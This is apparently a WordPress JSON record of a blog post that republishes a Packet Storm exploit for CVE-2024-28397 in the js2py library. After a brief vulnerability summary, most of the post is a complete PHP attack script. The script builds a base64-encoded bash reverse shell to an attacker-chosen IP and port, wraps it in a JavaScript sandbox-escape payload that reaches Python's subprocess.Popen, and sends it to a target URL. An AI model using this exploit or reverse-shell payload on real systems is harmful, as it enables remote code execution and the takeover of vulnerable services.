{"id":31876,"date":"2025-12-18T10:44:55","date_gmt":"2025-12-18T10:44:55","guid":{"rendered":"http:\/\/localhost\/?p=31876"},"modified":"2025-12-18T10:44:55","modified_gmt":"2025-12-18T10:44:55","slug":"js2py-074-automated-sandbox-escape-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31876","title":{"rendered":"\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution_PACKETSTORM:212971"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-18T15:56:42&#8243;,&#8221;description&#8221;:&#8221;js2py version 0.74 automated sandbox escape and remote code execution exploit with a reverse shell&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212971&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-28397&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : js2py v0.74 Automated Sandbox Escape \\u0026 Reverse Shell                                                                        |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/pypi.org\/project\/Js2Py\/                                                                                             |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212543\/ \\u0026 CVE-2024-28397\\n    \\n    [+] Summary    : js2py \u2014 a Python package that interprets and executes JavaScript code inside Python.\\n    \\n    [+] Nature of the Vulnerability\\n    \\n    The flaw exists in the sandboxing mechanism.\\n    \\n    The function disable_pyimport() fails to block access to Python internals.\\n    \\n    An attacker can escape the JavaScript sandbox and obtain Python object references.\\n    \\n    This leads to arbitrary Python code execution (RCE).\\n    \\n    [+] Impact\\n    \\n    Sandbox Escape\\n    \\n    Remote Code Execution (RCE)\\n    \\n    Threat level depends on context; potentially critical for web services using js2py to execute untrusted JS.\\n    \\n    [+] Affected Versions\\n    \\n    All versions up to and including v0.74\\n    \\n    There is no stable upstream patch on PyPI as of the time of vulnerability reporting.\\n    \\n    Some Linux distributions patched the package themselves.\\n    \\n    POC : php poc.php\\n    \\n    \\u003c?php\\n    \/\/ Configuration for Terminal Colors\\n    class Colors {\\n        const HEADER = \\&#8221;\\\\033[95m\\&#8221;;\\n        const BLUE = \\&#8221;\\\\033[94m\\&#8221;;\\n        const GREEN = \\&#8221;\\\\033[92m\\&#8221;;\\n        const WARNING = \\&#8221;\\\\033[93m\\&#8221;;\\n        const FAIL = \\&#8221;\\\\033[91m\\&#8221;;\\n        const ENDC = \\&#8221;\\\\033[0m\\&#8221;;\\n        const BOLD = \\&#8221;\\\\033[1m\\&#8221;;\\n    }\\n    \\n    function banner() {\\n        echo Colors::BLUE . Colors::BOLD . \\&#8221;\\n    \\n     \u2588\u2588\u2557\u2588\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \\n     \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\\n     \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588   \u2588\u2554\u255d\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\\n     \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\\n     \u2588\u2588\u2551\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2557\u2588\u2588\u2551  \u2588\u2588\u2551\\n     \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\\n                                                        \\n        \\&#8221; . Colors::ENDC . \\&#8221;\\\\n\\&#8221;;\\n        \\n        echo Colors::HEADER . \\&#8221;[*] Automated Sandbox Escape \\u0026 Reverse Shell Generator\\&#8221; . Colors::ENDC . \\&#8221;\\\\n\\&#8221;;\\n        echo Colors::HEADER . \\&#8221;[*] Target: js2py Library\\&#8221; . Colors::ENDC . \\&#8221;\\\\n\\&#8221;;\\n        echo Colors::HEADER . \\&#8221;[*] Author: indoushka\\&#8221; . Colors::ENDC . \\&#8221;\\\\n\\&#8221;;\\n        echo \\&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\\\n\\&#8221;;\\n    }\\n    \\n    function generate_payload($attacker_ip, $attacker_port) {\\n        \/**\\n         * Generates the Malicious JavaScript payload to bypass js2py sandbox.\\n         * \\n         * @param string $attacker_ip The IP address of the listener (LHOST).\\n         * @param int $attacker_port The port of the listener (LPORT).\\n         * \\n         * @return string The raw JavaScript payload.\\n         *\/\\n        echo Colors::BLUE . \\&#8221;[INFO]\\&#8221; . Colors::ENDC . \\&#8221; Generating Base64 encoded payload for {$attacker_ip}:{$attacker_port}&#8230;\\\\n\\&#8221;;\\n        \\n        \/\/ 1. Construct the Bash Reverse Shell\\n        $raw_command = \\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{$attacker_ip}\/{$attacker_port} 0\\u003e\\u00261\\&#8221;;\\n        \\n        \/\/ 2. Base64 Encode to avoid syntax errors in JS\\n        $b64_command = base64_encode($raw_command);\\n        \\n        \/\/ 3. Create the Execution Wrapper\\n        $exec_command = \\&#8221;echo {$b64_command} | base64 -d | bash\\&#8221;;\\n    \\n        \/\/ 4. The JavaScript Sandbox Escape Logic (Credit: Marven11)\\n        $js_payload = \\u003c\\u003c\\u003cJS\\n        let cmd = \\&#8221;{$exec_command}\\&#8221;;\\n        let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;\\n        let obj = a(a(a,\\&#8221;__class__\\&#8221;), \\&#8221;__base__\\&#8221;);\\n    \\n        function findpopen(o) {\\n            let result;\\n            for(let i in o.__subclasses__()) {\\n                let item = o.__subclasses__()[i];\\n                if(item.__module__ == \\&#8221;subprocess\\&#8221; \\u0026\\u0026 item.__name__ == \\&#8221;Popen\\&#8221;) {\\n                    return item;\\n                }\\n                if(item.__name__ != \\&#8221;type\\&#8221; \\u0026\\u0026 (result = findpopen(item))) {\\n                    return result;\\n                }\\n            }\\n        }\\n    \\n        let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();\\n        console.log(result);\\n        result;\\n    JS;\\n        \\n        return $js_payload;\\n    }\\n    \\n    function send_exploit($url, $js_payload) {\\n        \/**\\n         * Sends the crafted payload to the vulnerable endpoint.\\n         *\/\\n        $headers = [\\n            \\&#8221;Content-Type: application\/json\\&#8221;,\\n            \\&#8221;User-Agent: Mozilla\/5.0 (Security-Research-PoC)\\&#8221;\\n        ];\\n        \\n        $data = json_encode([\\&#8221;code\\&#8221; =\\u003e $js_payload]);\\n    \\n        echo Colors::BLUE . \\&#8221;[INFO]\\&#8221; . Colors::ENDC . \\&#8221; Targeting URL: \\&#8221; . Colors::BOLD . $url . Colors::ENDC . \\&#8221;\\\\n\\&#8221;;\\n        echo Colors::WARNING . \\&#8221;[WARN]\\&#8221; . Colors::ENDC . \\&#8221; Sending malicious payload. Check your listener! (nc -lvnp \\u003cport\\u003e)\\\\n\\&#8221;;\\n        \\n        try {\\n            $ch = curl_init();\\n            \\n            curl_setopt($ch, CURLOPT_URL, $url);\\n            curl_setopt($ch, CURLOPT_POST, 1);\\n            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\\n            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\\n            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n            curl_setopt($ch, CURLOPT_TIMEOUT, 5); \/\/ Timeout 5 seconds\\n            \\n            $response = curl_exec($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            $error = curl_error($ch);\\n            \\n            curl_close($ch);\\n            \\n            if ($error \\u0026\\u0026 strpos($error, &#8216;timeout&#8217;) !== false) {\\n                echo \\&#8221;\\\\n\\&#8221; . Colors::GREEN . \\&#8221;[SUCCESS]\\&#8221; . Colors::ENDC . \\&#8221; Request timed out.\\\\n\\&#8221;;\\n                echo Colors::GREEN . \\&#8221;[+]\\&#8221; . Colors::ENDC . \\&#8221; This usually indicates the shell has executed and is holding the connection.\\\\n\\&#8221;;\\n            } else {\\n                echo Colors::GREEN . \\&#8221;[+]\\&#8221; . Colors::ENDC . \\&#8221; Response Code: {$http_code}\\\\n\\&#8221;;\\n                if (!empty($response)) {\\n                    echo Colors::GREEN . \\&#8221;[+]\\&#8221; . Colors::ENDC . \\&#8221; Response Body: {$response}\\\\n\\&#8221;;\\n                }\\n            }\\n            \\n        } catch (Exception $e) {\\n            echo Colors::FAIL . \\&#8221;[ERROR]\\&#8221; . Colors::ENDC . \\&#8221; An error occurred: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n        }\\n    }\\n    \\n    function check_dependencies() {\\n        \/**\\n         * Check if required extensions are loaded\\n         *\/\\n        if (!function_exists(&#8216;curl_init&#8217;)) {\\n            echo Colors::FAIL . \\&#8221;[ERROR]\\&#8221; . Colors::ENDC . \\&#8221; cURL extension is not enabled. Please enable it in php.ini\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        if (!function_exists(&#8216;json_encode&#8217;)) {\\n            echo Colors::FAIL . \\&#8221;[ERROR]\\&#8221; . Colors::ENDC . \\&#8221; JSON extension is not enabled. Please enable it in php.ini\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n    }\\n    \\n    function main($argv) {\\n        banner();\\n        check_dependencies();\\n        \\n        \/\/ Parse command line arguments\\n        $options = [];\\n        \\n        \/\/ Simple argument parsing for Windows\\n        for ($i = 1; $i \\u003c count($argv); $i++) {\\n            if ($argv[$i] == &#8216;-u&#8217; || $argv[$i] == &#8216;&#8211;url&#8217;) {\\n                $options[&#8216;url&#8217;] = $argv[++$i] ?? &#8221;;\\n            } elseif ($argv[$i] == &#8216;-i&#8217; || $argv[$i] == &#8216;&#8211;ip&#8217;) {\\n                $options[&#8216;ip&#8217;] = $argv[++$i] ?? &#8221;;\\n            } elseif ($argv[$i] == &#8216;-p&#8217; || $argv[$i] == &#8216;&#8211;port&#8217;) {\\n                $options[&#8216;port&#8217;] = $argv[++$i] ?? &#8221;;\\n            } elseif ($argv[$i] == &#8216;-h&#8217; || $argv[$i] == &#8216;&#8211;help&#8217;) {\\n                echo \\&#8221;Usage: php \\&#8221; . basename(__FILE__) . \\&#8221; -u \\u003curl\\u003e -i \\u003cip\\u003e -p \\u003cport\\u003e\\\\n\\&#8221;;\\n                echo \\&#8221;Example: php \\&#8221; . basename(__FILE__) . \\&#8221; -u http:\/\/target.com\/run_code -i 192.168.1.100 -p 4444\\\\n\\&#8221;;\\n                exit(0);\\n            }\\n        }\\n        \\n        \/\/ Validate required arguments\\n        if (empty($options) || !isset($options[&#8216;url&#8217;]) || !isset($options[&#8216;ip&#8217;]) || !isset($options[&#8216;port&#8217;])) {\\n            echo Colors::FAIL . \\&#8221;[ERROR]\\&#8221; . Colors::ENDC . \\&#8221; Missing required arguments!\\\\n\\&#8221;;\\n            echo \\&#8221;Usage: php \\&#8221; . basename(__FILE__) . \\&#8221; -u \\u003curl\\u003e -i \\u003cip\\u003e -p \\u003cport\\u003e\\\\n\\&#8221;;\\n            echo \\&#8221;Example: php \\&#8221; . basename(__FILE__) . \\&#8221; -u http:\/\/target.com\/run_code -i 192.168.1.100 -p 4444\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $url = $options[&#8216;url&#8217;];\\n        $ip = $options[&#8216;ip&#8217;];\\n        $port = intval($options[&#8216;port&#8217;]);\\n        \\n        \/\/ Validate port number\\n        if ($port \\u003c 1 || $port \\u003e 65535) {\\n            echo Colors::FAIL . \\&#8221;[ERROR]\\&#8221; . Colors::ENDC . \\&#8221; Invalid port number: {$port}\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        \/\/ Validate URL format\\n        if (!filter_var($url, FILTER_VALIDATE_URL)) {\\n            echo Colors::FAIL . \\&#8221;[ERROR]\\&#8221; . Colors::ENDC . \\&#8221; Invalid URL format: {$url}\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        try {\\n            $payload = generate_payload($ip, $port);\\n            \\n            \/\/ Show a preview of the payload\\n            echo Colors::BLUE . \\&#8221;[INFO]\\&#8221; . Colors::ENDC . \\&#8221; Payload preview (first 200 chars):\\\\n\\&#8221;;\\n            echo substr($payload, 0, 200) . \\&#8221;&#8230;\\\\n\\\\n\\&#8221;;\\n            \\n            \/\/ Ask for confirmation\\n            echo Colors::WARNING . \\&#8221;[WARNING]\\&#8221; . Colors::ENDC . \\&#8221; This will send an exploit payload. Are you sure? (y\/n): \\&#8221;;\\n            $handle = fopen(\\&#8221;php:\/\/stdin\\&#8221;, \\&#8221;r\\&#8221;);\\n            $line = fgets($handle);\\n            fclose($handle);\\n            \\n            if (trim(strtolower($line)) != &#8216;y&#8217;) {\\n                echo Colors::FAIL . \\&#8221;[!]\\&#8221; . Colors::ENDC . \\&#8221; Operation cancelled by user.\\\\n\\&#8221;;\\n                exit(0);\\n            }\\n            \\n            send_exploit($url, $payload);\\n            \\n        } catch (Exception $e) {\\n            echo Colors::FAIL . \\&#8221;[!]\\&#8221; . Colors::ENDC . \\&#8221; Error: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n    }\\n    \\n    \/\/ Run the main function with command line arguments\\n    main($argv);\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212971&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:5.3,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:L\/I:L\/A:L&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212971\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-18T15:56:42&#8243;,&#8221;description&#8221;:&#8221;js2py version 0.74 automated sandbox escape and remote code execution exploit with a reverse shell&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212971&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-28397&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n | #&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,22,12,21,13,53,7,11,5],"class_list":["post-31876","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-53","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution_PACKETSTORM:212971 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31876\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution_PACKETSTORM:212971 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-18T15:56:42&#8243;,&#8221;description&#8221;:&#8221;js2py version 0.74 automated sandbox escape and remote code execution exploit with a reverse shell&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212971&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-28397&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | #...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=31876\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-18T10:44:55+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31876#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31876\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \\\/ Code Execution_PACKETSTORM:212971\",\"datePublished\":\"2025-12-18T10:44:55+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31876\"},\"wordCount\":1405,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-5.3\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31876#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31876\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31876\",\"name\":\"\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \\\/ Code Execution_PACKETSTORM:212971 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-18T10:44:55+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31876#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31876\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31876#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \\\/ Code Execution_PACKETSTORM:212971\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution_PACKETSTORM:212971 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=31876","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution_PACKETSTORM:212971 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-18T15:56:42&#8243;,&#8221;description&#8221;:&#8221;js2py version 0.74 automated sandbox escape and remote code execution exploit with a reverse shell&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212971&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-28397&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | #...","og_url":"https:\/\/zero.redgem.net\/?p=31876","og_site_name":"zero redgem","article_published_time":"2025-12-18T10:44:55+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=31876#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=31876"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 js2py 0.74 Automated Sandbox Escape \/ Code 